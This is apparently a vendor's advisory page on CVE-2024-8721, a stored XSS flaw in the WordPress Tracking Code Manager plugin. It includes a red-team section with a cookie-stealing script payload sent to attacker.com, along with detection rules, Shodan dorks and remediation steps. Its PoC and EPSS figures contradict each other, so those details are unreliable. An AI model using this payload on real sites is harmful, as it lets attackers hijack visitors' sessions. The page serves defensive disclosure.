☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8721

CVE-2024-8721 Cross-Site Scripting in Tracking code manager
📅 PUBLISHED: 2024-12-24 09:21 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8721 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tracking Code Manager plugin for WordPress, affecting all versions up to and including 2.3.0. This flaw allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts via the tracking code field. The vulnerability arises from insufficient input sanitization and output escaping, enabling persistent XSS that executes when any user accesses an injected page. The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%). No public proof-of-concept or exploit code is available at this time. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level or above)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium – Exploitation requires authentication but can lead to persistent script injection affecting all site visitors.

Deep Dive & Mechanics

The vulnerability resides in the tracking code input field of the Tracking Code Manager plugin. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and rendering it on the frontend. An attacker with Contributor-level access (or higher) can inject malicious JavaScript, HTML, or other web scripts into the tracking code field. When the plugin outputs this code on any page (e.g., header, footer, or specific posts), the injected script executes in the context of the victim's browser.

The root cause is the lack of wp_kses() or similar sanitization functions on the input, and the absence of esc_html() or esc_js() when outputting the stored value. This allows arbitrary script injection, leading to session hijacking, defacement, or redirection to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.3.0):

// In the plugin's admin or frontend output
$tracking_code = get_option('tcm_tracking_code');
echo $tracking_code; // No escaping

Patched Code (hypothetical fix):

// Properly sanitize on input
$tracking_code = wp_kses_post($_POST['tracking_code']);
update_option('tcm_tracking_code', $tracking_code);

// Escape on output
echo esc_html($tracking_code);

The vulnerable code directly echoes the stored option without any escaping, allowing script injection. The patched version uses wp_kses_post() to strip dangerous tags on input and esc_html() to safely encode output.

Exploitation & Lab Setup

Red Team

  1. Prerequisites: Authenticated session with Contributor-level or higher privileges on a WordPress site running Tracking Code Manager <= 2.3.0.
  2. Steps:
    • Navigate to the plugin settings (e.g., /wp-admin/admin.php?page=tracking-code-manager).
    • In the tracking code field, inject a payload such as:
      <script>alert('XSS')</script>
      
    • Save the settings.
    • Any user visiting a page where the tracking code is output will trigger the script.
  3. Advanced Payload: For session hijacking:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    

Blue Team

  1. Detection: Monitor for unusual changes to the tcm_tracking_code option in the database. Look for script tags or suspicious HTML in the option value.
  2. Prevention: Implement a Web Application Firewall (WAF) rule to block common XSS patterns in POST requests to plugin settings pages.
  3. Hunting: Search for stored XSS indicators in the wp_options table:
    SELECT * FROM wp_options WHERE option_name = 'tcm_tracking_code' AND option_value LIKE '%<script%';
    

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/tracking-code-manager/ (presence of the plugin)
  • Database: wp_options table with option_name = 'tcm_tracking_code' containing script tags
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress site
  • Logs: Access logs showing requests to /wp-admin/admin.php?page=tracking-code-manager with unusual POST data

Detection Engineering

YARA Rule

rule CVE_2024_8721_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Tracking Code Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8721"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $option_name = "tcm_tracking_code"
    condition:
        $option_name and $xss_payload
}

Sigma Rule

title: Stored XSS in Tracking Code Manager Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via the Tracking Code Manager plugin
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: option_update
        option_name: 'tcm_tracking_code'
        option_value|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in tracking codes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8721 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=tracking-code-manager"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the Tracking Code Manager plugin until a patch is released.
  2. Short-term: Restrict Contributor-level access to trusted users only. Implement a WAF to block XSS payloads.
  3. Long-term: Apply input sanitization (wp_kses_post()) and output escaping (esc_html()) to all user-supplied fields. Monitor the plugin's repository for updates.
  4. Workaround: Use a custom function to override the plugin's output with safe escaping:
    add_filter('option_tcm_tracking_code', 'esc_html');
    

Valters IT
Securing digital frontiers, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Tracking Code Manager"
http.html:"tracking-code-manager"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8721/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.